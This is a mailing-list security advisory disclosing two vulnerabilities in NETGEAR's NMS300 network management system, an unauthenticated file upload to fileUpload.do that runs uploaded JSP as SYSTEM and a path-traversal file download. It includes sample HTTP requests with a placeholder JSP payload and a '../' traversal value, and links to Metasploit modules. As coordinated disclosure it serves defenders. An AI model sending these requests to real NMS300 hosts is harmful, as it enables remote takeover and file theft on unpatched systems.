[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[CERT 777024 / CVE-2016-1524/5]: RCE and file download in Netgear NMS300


CERT/CC has helped me disclose two vulnerabilities in NETGEAR's
Pro"safe" Network Management System 300 [1]. Two classical bugs: one
remote code execution via arbitrary file upload and an authenticated
arbitrary file download.

The full advisory can be seen in my repo at [2] and it is also pasted
below. I've also released two Metasploit modules to exploit these
vulnerabilities [3][4].

There is currently no fix for these - do not expose NMS300 to the
Internet! I've decided to release the exploits anyway as CERT's advisory
details how the vulnerability can be exploited.


[1] https://www.kb.cert.org/vuls/id/777024
[3] https://github.com/rapid7/metasploit-framework/pull/6530
[4] https://github.com/rapid7/metasploit-framework/pull/6531

>> Remote code execution / arbitrary file download in NETGEAR ProSafe
Network Management System NMS300
>> Discovered by Pedro Ribeiro (pedrib@xxxxxxxxx), Agile Information
Security (http://www.agileinfosec.co.uk/)
Disclosure: 04/02/2016 / Last updated: 04/02/2016

>> Background on the affected product:
ProSAFE® Network Management System
Diagnose, control, and optimize your network devices.

The NETGEAR Management System NMS300 delivers insight into network
elements, including third-party devices. An intuitive, web-based user
interface makes it easier to monitor and administer an entire network."

>> Summary:
Netgear's NMS300 is a network management utility that runs on Windows
systems. It has serious two vulnerabilities that can be exploited by a
remote attacker. The first one is an arbitrary file upload vulnerability
that allows an unauthenticated attacker to execute Java code as the
SYSTEM user.
The second vulnerability is an arbitrary file download that allows an
authenticated user to download any file from the host that is running

A special thanks to Joel Land of CERT/CC for helping disclose this
vulnerability under ID 777024 [1]. Two new Metasploit modules that
exploit these vulnerabilities have been released.

>> Technical details:
Vulnerability: Remote code execution via arbitrary file upload
Affected versions:

There are two servlets that allow unauthenticated file uploads:
@RequestMapping({ "/fileUpload.do" })
public class FileUpload2Controller
- Uses spring file upload

@RequestMapping({ "/lib-1.0/external/flash/fileUpload.do" })
public class FileUploadController
- Uses flash upload

The JSP file can be uploaded as shown below, it will be named
null[name].[extension] and can be reached on
So for example if [name] = "testing" and [extension] = ".jsp", the final
file will be named "nulltesting.jsp". [name] and [extension] can be seen
in the sample request below. The code will execute as the SYSTEM user.

POST /lib-1.0/external/flash/fileUpload.do HTTP/1.1
Content-Type: multipart/form-data;

Content-Disposition: form-data; name="name"

Content-Disposition: form-data; name="Filedata";
Content-Type: application/octet-stream

<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Hello World Example</title>
<h2>A Hello World Example of JSP.</h2>

Vulnerability: Arbitrary file download (authenticated)
Affected versions:

Three steps need to be taken in order to exploit this vulnerability:
a) Add a configuration image, with the realName parameter containing the
path traversal to the target file:
POST /data/config/image.do?method=add HTTP/1.1
realName=../../../../../../../../../../<file on

b) Obtain the file identifier (imageId) for the image that was created
by scraping the page below for "imagename.img" (the fileName parameter
in step 1):
POST /data/getPage.do?method=getPageList&type=configImgManager

Sample response:

c) Download the file with the imageId obtained in step 2:
GET /data/config/image.do?method=export&imageId=<ID>

>> Fix:
No fix is currently available. It is recommended not to expose NMS300 to
the Internet or any unstrusted networks.

>> References:
[1] https://www.kb.cert.org/vuls/id/777024

Agile Information Security Limited
>> Enabling secure digital business >>

Attachment: signature.asc
Description: OpenPGP digital signature